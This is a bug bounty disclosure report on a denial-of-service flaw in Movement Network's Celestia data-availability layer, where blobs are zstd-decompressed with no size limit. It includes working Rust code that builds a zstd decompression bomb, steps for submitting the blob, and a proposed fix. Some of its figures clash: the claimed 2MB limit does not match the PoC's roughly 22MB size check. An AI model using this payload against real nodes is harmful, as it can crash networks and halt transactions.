42233 [BC-Critical] critical dos vulnerability in movement network s da layer due to zstd bomb blob exploit
#42233 [BC-Critical] Critical DoS Vulnerability in Movement Network's DA Layer Due to Zstd bomb blob exploit
Submitted on Mar 21st 2025 at 22:14:48 UTC by @perseverance for Attackathon | Movement Labs
Report ID: #42233
Report Type: Blockchain/DLT
Report severity: Critical
Target: https://github.com/immunefi-team/attackathon-movement/tree/main/protocol-units/da/movement/providers/celestia
Impacts:
Network not being able to confirm new transactions (total network shutdown)
Description
Background Information
Brief/Intro
A critical Denial of Service (DoS) vulnerability exists in Movement Network's Data Availability (DA) layer where the zstd decompression process lacks size limits. The current implementation in the into_da_blob
function decompresses blob data without any size restrictions, allowing attackers to create "zstd bombs" - small compressed files that decompress to extremely large buffers.
According to the architecture of Movement Network, blob data is sent and received from Celestia DA Service. While Celestia has a 2MB blob size limit, this limit only applies to the compressed data, not the decompressed size. The decompression happens before any signature verification, so anyone can submit the malicious blob.
The Vulnerability
Vulnerability Details
https://github.com/immunefi-team/attackathon-movement/blob/main/protocol-units/da/movement/providers/celestia/src/blob/ir.rs#L7-L20
The vulnerability exists in the into_da_blob
function in protocol-units/da/movement/providers/celestia/src/blob/ir.rs
:
pub fn into_da_blob<C>(blob: CelestiaBlob) -> Result<DaBlob<C>, anyhow::Error>
where
C: Curve + for<'de> Deserialize<'de>,
{
// decompress blob.data with zstd
let decompressed =
zstd::decode_all(blob.data.as_slice()).context("failed to decompress blob")?;
// deserialize the decompressed data with bcs
let blob = bcs::from_bytes(decompressed.as_slice()).context("failed to deserialize blob")?;
Ok(blob)
}
The code uses zstd::decode_all()
to decompress the blob data without any size limits. This is dangerous because:
The decompression happens before any signature verification
There are no limits on the decompressed size
Even with Celestia's 2MB blob size limit, an attacker can create a PoC that uses approximately 100GB of RAM on decompression
Attack Scenario
An attacker can:
Step 1. Create a malicious zstd-compressed blob that:
Is under Celestia's 2MB size limit
Contains specially crafted data that decompresses to a very large size
Uses RLE (Run-Length Encoding) to create a "zstd bomb"
Step 2. Submit this blob to Celestia. Attackers can target many nodes in the Movement network
Step 3. When Movement nodes process this blob:
The decompression will attempt to allocate massive amounts of memory
This will either crash the node or severely impact its performance
Multiple such blobs could be submitted to create a widespread DoS attack
PoC Code
fn zstd_bomb() {
// MAGIC + header with max window size
let mut b: Vec<u8> = vec![0x28, 0xb5, 0x2f, 0xfd, 0x0, 0x7f];
let n_blocks = 0x530000;
for _ in 0..n_blocks {
// RLE block encoding 0xff byte repeated 0x8000 times
b.extend(&[0x02, 0x00, 0x10, 0xff]);
}
// Block to finish the data
b.extend(&[0x01, 0x00, 0x00]);
// Check that we fit in celestia limits
assert!(b.len() < 0x1_500_000);
// decode the bomb
// uses up at least 100GB on my machine after which it crashes
let res = zstd::decode_all(b.as_slice()).unwrap();
dbg!(res.len());
}
Severity Assessment
Bug Severity: Critical
Impact category: Network not being able to confirm new transactions (total network shutdown)
This is assessed as Critical severity because:
Impact:
Can cause complete node crashes
Can lead to network-wide DoS attacks
Affects all nodes in the network
Can be exploited with minimal resources (just a small blob)
Likelihood:
High - The attack is simple to execute
Low cost - Only requires submitting small blobs
High impact - Can affect the entire network
No special privileges required
Mitigation
The fix can use
Example fix:
pub fn into_da_blob<C>(blob: CelestiaBlob) -> Result<DaBlob<C>, anyhow::Error>
where
C: Curve + for<'de> Deserialize<'de>,
{
// Use streaming decoder with size limits
let mut decoder = zstd::Decoder::with_buffer(blob.data.as_slice())?;
let blob = bcs::de::Builder::new()
.max_sequence_length(MAX_BLOB_LEN)
.deserialize_reader(&mut decoder)
.context("failed to deserialize blob")?;
Ok(blob)
}
Proof of Concept
POC
The vulnerability can be triggered when:
Step 1: Create a valid Blob data structure with the following script to create the ztsd bomb
fn zstd_bomb() {
// MAGIC + header with max window size
let mut b: Vec<u8> = vec![0x28, 0xb5, 0x2f, 0xfd, 0x0, 0x7f];
let n_blocks = 0x530000;
for _ in 0..n_blocks {
// RLE block encoding 0xff byte repeated 0x8000 times
b.extend(&[0x02, 0x00, 0x10, 0xff]);
}
// Block to finish the data
b.extend(&[0x01, 0x00, 0x00]);
// Check that we fit in celestia limits
assert!(b.len() < 0x1_500_000);
// decode the bomb
// uses up at least 100GB of RAM on my machine after which it crashes
let res = zstd::decode_all(b.as_slice()).unwrap();
dbg!(res.len());
}
Step 2: Send the malicious blob to Celestia
Step 3. The node will read data from Celestia and will decode the blob
Since it will require 100GB of Ram, it will crash the node.
Was this helpful?